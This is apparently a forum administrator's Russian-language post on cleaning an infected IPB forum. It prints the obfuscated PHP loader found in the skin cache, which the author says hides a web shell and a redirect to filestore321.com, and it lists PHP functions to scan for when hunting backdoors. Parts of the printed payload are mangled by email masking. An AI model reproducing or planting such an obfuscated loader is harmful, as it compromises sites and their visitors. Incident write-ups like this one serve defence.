В последнее время часто наблюдаю взломы подобного типа. Прямо на днях пришлось лечить один форум, а некоторые форумы тех поддержки так и сидят в серпе с этой заразой (привет товарищам с studio-klass.ru).
Есть предположение что связано это с последней найденной уязвимостью (sql-injection). Предположение основано на том, что там стояла версия 3.4.5 потом делалось обновление на 3.4.7 со всеми патчами безопасности, после чего обнаружился вирус.
Вредоносный код сидит в /cache/skin_cache/cache_%id/skin_global.php, метод includeJS и имеет подобный вид:
$pk='MD5 HASH';
$rsa='o/2`[email protected]:UJP#`82|JGar<sj#`zK:a}bz=D2]J8r#|v2r=DyAuU2EU(oA&(K*FU2r=Qb:kCr#|AyzJAyAyge*U5P:[email protected]#L/a}J`ysP/yses>9f(j[}(anT(y[=`F*uUr}%_Z}&bP,%!rEU(araTb*Tn;r=`=t&"a:|tb#&`K,=Dy`JAb[<LeAuUr}%_Z}&bP,%!rEU(KRgUFR}fy,P`a}JW;r&t2*usp#P/F,LGy:`UarP$;[PTF#L$y#L}ys%$o]k8a:|vp#Us>*&"ZD|E|U|E]AFp|k&<r}|R&|P"<ZFkR`<srEU5P:;J<,%Tys=`r[|Ab*uUr}=kZ`akZ`gsEk&ZZkJE&ZakZU|EP}D(jA&t_ZfUa`gs2:JGF*FFjA&A_Z%Qyz|sr#}TF:[email protected]*ytb:`#a|Q8;#JW":F/b#Fga|Q8",`T2:J/r*C$;z`8aACtb#}$o]k8a:|vr*CAFrLA;]}nb:|Ar*CAFrLn;]`UF|Q8":aT;#|nb#J!r*C$2]CGF:ksyzkWr*C$F:`8or|AbkQ8":P(FkQ8b,Ut2EygP:e(",QU;GDJP[<8;#$sjA&@_E&"ZD|E|U|E]AFp|k&<rDT_Z}<srRgU;tDUF:T(yAD6yT!Bv[Y6y#|DF:`8a[=bP#=/b#W(a|J(a*FFjA&s_E&n>nFGar=G2]J8r#`UPGgUaRDU;nvsb:k8a}J(a*y5P:<Ja]}QF,[email protected]&|P]&|PbPDTZ|k%"]kJ=R}@srEU52];@a]}QF,[email protected]>EZ|bP:|FKE`52];@2r=Gar<@PkJ,&|&bP#`Q;s;srEUzPnuTa]}QF,[email protected],&|&bP#ysrEU(Pn;@p]|Wy,&CK*&"<DJ_ED`k]A&srEU(KrW(anuU;GDJP:u(o#`zK*&UKr=`F:=/b#W(aEuUaEQsa]vs>,&(b][email protected]=tfQe*U5P:DJy[|ny[&AK:}U=EuU2*Uge*QvKRWQyz`8F*una:JtF]}`bs<8b:Jt;r&(b#vJP#TDF,f0>AJz2]L`y[&/yzZGet-8;#JW>#&/F#Cgb#kU>s%@y9J(a9}5P:}JPAp(j[}`o:`Dj[}([email protected]&}KE;zP,p(oA&PZ-Pp|-}e>tDn_,=tyz`QF*%Dor%`_EFDarTD>#(TFzkG;[P(y,<sp,=A;GDsoA&D2:`G>RCGar&D2]Csy}gs;zJTyz&"FrPgP}}J>#`8a:|v>s%@y9J(y:P#_rgUF:T(yAD6yT!Bv[Y6yz|s2r=DysUW_zJ}F,%}F*D6yT!Bv[Y6;]CD2Z=T;#T`E:kG2,Dz;]}Qj#yJ2ses_tQ/y#=A2r%D_np5"rDYY.';
$pka='0}9J8<ie?.4m-/Vulk&bI7W+^E>X,GOM5L$`"|vnBTzc%*oFRA2s]@6tqaPUw3[dZ;~DQyfCp{=#jHgS(1rh:YN_)!Kx';
$pkb='61D9uQ_M&;`!Evqg,FRb$<t:/SL?Hz^*7x8lfV4i(hm}BCedTyanWo.j{ZJk#@3~UY"0wcA5I+N2O>s]p%X|G)-P=rK[';
$f='%t%'.substr($rsa,566,1);
$klf=preg_replace($f,strtr($rsa,$pka,$pkb),'html');
Сигнатура обфусцированного кода может отличатся в разных случаях. Закадирован в нем шелл и редирект на filestore321.com/download.php?id={$m}.
Деятельность вируса палится по наличию куке lang_id eng после ридеректа на вредоносный сайт - заплатка для предотвращения повторного редиректа.
Проверить на взлом этим вирусом можно перейдя на форум из поисковых систем. Также можно проверить по адресу forum.ru/index.php?ipbv=hash&g=js, если откроется пустая страница значит форум заражен (при первом заходе на форум нужно два раза запросить этот адрес).
Основная суть лечения заключается в:
- Проверка шаблона Глобальные -> includeJS в АЦ. Обновления кеша стилей для удаления вредасного кода из кеша.
- Обновления форума до актуальной версии или обязательная установка всех патчей безопасности после выхода вашей версии
- Смена паролей для:
- всех (!) пользователей имеющих доступ в АЦ
- базе данных
- фтп
- Добавления форума в Яндекс.Вебмастер'е с отправкой запроса на перепроверку в разделе Безопасность (это ускорит повторную проверку форума). Проверка, как правило, длится несколько дней.
Но это не дает гарантий что злоумышленик не оставил шеллы где-то еще в других файлах. Для полного лечения нужно просканировать весь форум специальным сканером шеллов, либо искать вручную вредоносные сигнатуры и функции которые чаще всего используются для составления закладок - eval, assert, base64_decode, preg_replace, etc и анализировать их на предмет вредоносности. Популярным для этих целей является скрипт ai-bolit - www.revisium.com/ai/. Хотя работает он жутко медленно и сканрует все подряд, ранние его версии мне больше нравились.